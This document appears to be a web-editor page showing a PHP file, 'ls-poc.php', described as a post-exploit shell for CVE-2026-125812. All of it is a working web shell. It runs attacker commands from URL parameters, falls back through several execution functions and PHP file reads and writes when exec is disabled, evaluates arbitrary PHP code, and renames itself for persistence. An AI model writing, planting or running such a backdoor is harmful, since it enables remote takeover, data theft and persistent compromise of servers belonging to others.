← Back
Editing: ls-poc.php
<?php // CVE-2026-125812 post-exploit shell - PHP-first, works when exec() is blocked echo "LSPWN\n"; function wpr_disabled() { return array_map('trim', explode(',', (string) ini_get('disable_functions'))); } function wpr_exec($cmd) { $dis = wpr_disabled(); $out = false; foreach (array('shell_exec', 'system', 'passthru', 'exec', 'popen', 'proc_open') as $f) { if (!function_exists($f) || in_array($f, $dis, true)) { continue; } if ($f === 'exec') { $l = array(); @exec($cmd . ' 2>&1', $l); $out = implode("\n", $l); } elseif ($f === 'popen') { $h = @popen($cmd . ' 2>&1', 'r'); if ($h) { $out = ''; while (!feof($h)) { $out .= fread($h, 4096); } pclose($h); } } elseif ($f === 'proc_open') { $p = @proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]); proc_close($p); } } else { $out = @$f($cmd . ' 2>&1'); } if (is_string($out) && $out !== '') { return $out; } } return false; } function wpr_php($cmd) { $c = trim($cmd); if ($c === '') { return ''; } if (in_array($c, array('id', 'whoami'), true)) { $u = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid()) : array(); return 'uid=' . getmyuid() . ' gid=' . getmygid() . ' user=' . (isset($u['name']) ? $u['name'] : get_current_user()) . ' home=' . (isset($u['dir']) ? $u['dir'] : '') . ' cwd=' . getcwd(); } if (preg_match('/^uname(\s+-a)?$/', $c)) { return php_uname(); } if ($c === 'pwd') { return getcwd(); } if ($c === 'phpinfo') { return 'PHP ' . PHP_VERSION . ' sapi=' . PHP_SAPI . ' os=' . PHP_OS; } if (preg_match('/^ls(?:\s+(.+))?$/', $c, $m)) { $d = isset($m[1]) ? trim($m[1]) : getcwd(); $r = @scandir($d); return is_array($r) ? implode("\n", $r) : 'ls failed: ' . $d; } if (preg_match('/^(?:cat|read)\s+(.+)$/', $c, $m)) { $p = trim($m[1]); $b = @file_get_contents($p); return $b === false ? 'read failed: ' . $p : $b; } if (preg_match('/^write\s+(\S+)\s+([\s\S]*)$/', $c, $m)) { return @file_put_contents(trim($m[1]), $m[2]) !== false ? 'written' : 'write failed'; } return false; } if (isset($_GET['c'])) { $cmd = (string) $_GET['c']; $out = wpr_exec($cmd); if ($out === false) { $out = wpr_php($cmd); } if ($out === false) { $out = 'EXEC_BLOCKED (shell functions return false on this host) - pakai ls/cat/uname/id atau ?php=<kode>'; } echo "EXECMODE:" . (ini_get('disable_functions') ?: 'none') . "\n"; echo $out; exit; } if (isset($_GET['php'])) { eval((string) $_GET['php']); exit; } if (isset($_GET['r'])) { $n = (string) $_GET['r']; if (preg_match('/^[a-z0-9]{4,32}-shell\.php$/', $n)) { @rename(__FILE__, __DIR__ . '/' . $n); echo "RENAMED"; } exit; }
Save File
Cancel